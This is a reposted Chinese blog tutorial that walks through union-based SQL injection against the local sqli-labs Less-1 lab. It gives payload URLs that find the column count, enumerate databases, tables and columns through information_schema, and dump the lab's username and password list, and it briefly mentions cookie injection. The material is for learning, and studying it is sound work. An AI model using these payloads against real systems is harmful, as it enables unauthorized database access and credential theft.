

# 基础SQL注入

转载

[weixin\\_30767921](#) 于 2018-08-26 01:23:00 发布 61 收藏

文章标签: [数据库](#)

原文链接: <http://www.cnblogs.com/lgf01010/p/9536104.html>

版权

预备知识

对mysql数据库有一定了解;对基本的sql语句有所了解;

对url编码有了解:空格='%20',单引号='%27',双引号='%22',井号='%23'等

基本步骤

1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
3. 获取数据库版本,用户,当前连接的数据库等信息
4. 获取数据库中所有表的信息
5. 获取某个表的列字段信息
5. 获取相应表的数据

Less1, 基于错误的GET单引号字符型注入。

(单引号, and 1=1, and 1=2, )

<http://127.0.0.1/sqli/Less-1/?id=2%27> (宽字节注入)

错误提示: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "2" LIMIT 0,1' at line 1

此时的注入语句为: `SELECT * FROM users WHERE id='2' LIMIT 0,1` (报单引号不匹配的错)

注释符常用的有两种:

1. -- '一定要注意在最后一个单引号前面有空格
2. # (空格#空格)

第二步确定表的列数:

使用order by 语句。

当试到'4'时,出现报错信息,可以知道该表有3列:

Unknown column '4' in 'order clause'

执行的sql语句是:`SELECT * FROM users WHERE id='2' order by 4 -- " LIMIT 0,1`

第三步,确定字段的显示位:

显示位:表中数据第几位的字段可以显示,因为并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果;'union select 1,2,3 -'通过显示的数字可以判断那些字段可以显示出来。

<http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --'>

可见2,3所在的字段可以显示

ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息

第四步获取当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用group\_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示)

database()函数:查看当前数据库名称

version()函数：查看数据库版本信息

user():返回当前数据库连接使用的用户

```
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database()或者version()),3 -- '
```

Your Login name:security5.5.53

Your Password:3

可以知道当前数据库名为security，数据库版本为5.5.53

第五步，获取全部数据库信息（表，列信息）

Mysql有一个系统的数据库information\_schema,里面保存着所有数据库的相关信息，使用该表完成注入

```
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, group_concat (schema_name) ,3 from
```

```
information_schema.schemata -- '爆出所有数据库名字
```

以上命令可以获取到了所有的数据库信息 information\_schema ,security（是例题中的数据库信息）

第六步：获取security数据库中的表信息

```
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,table_name, 3 from information_schema.tables where
```

```
table_schema='security' -- '（一般情况下要最好将security使用16进制hex编码转换。转换后记得要加0x）
```

Your Login name: emails , referers , uagents , users

Your Password:3

ps:table\_schema= '数据库的名' table\_name 表信息

第七步：获取user表的列

```
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,column_name,3 from information_schema.columns where
```

```
table_name='users' limit 0,1 -- '(users最好转换，春秋上介绍，这句话的意思是查询information_schema数据库中columns表里的column_name字段（就是表最上面的标题）。条件是table_name为用户
```

```
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id ,
```

```
username , password
```

Your Password:3

执行的sql语句是:SELECT \* FROM users WHERE id=-1' union select 1,column\_name, ,3 from

```
information_schema.columns where table_name='users' -- " LIMIT 0,1 这个一般都要加，加上去改变数字会导致不同
```

第八步：获取数据

```
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,username,password,3 from users -- '
```

Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity,

superman genius, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4

Your Password:3

Writeup, 我要先查到注入类型跟注入点, 然后用order by 查询整个大数据库里表的列数, database()显示的是当前页面所使用的数据库名称, shecm这个是mysql5.0版本之后特有的一个数据库, 他包含了整个大数据库里所有数据库的表名跟列名。然后用union select 1, 2, 3...查列显示位置是多少。然后获取当前数据库的名字: union select 1, database () (写在显示位), 3 -'; 得到当前数据库名称后, 要找到当前数据库所有表信息, 然后对指定想要获取的数据库获取数据库表信息 (第六步), 然后获取指定表下面的列信息 union select 列 from 表

第二篇:

Information\_schema: 存储mysql数据库下所有数据库的表名和列名信息的自带数据库

information\_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema\_name的字段值) 字段就是列名

information\_schema.tables: 存储mysql数据库下所有数据库的表名信息的表 (字段名为 table\_name: 表名 条件为 table\_schema: 数据库名)

information\_schema.columns: 存储mysql数据库下所有数据库的列名信息的表 (字段名为column\_name: 的字段值)

cookie注入: burp里截取到用户COOKIE后, 将ID=多少再referer中cookie后面加分号之后填写上去, 再写入命令。

转载于:<https://www.cnblogs.com/lgf01010/p/9536104.html>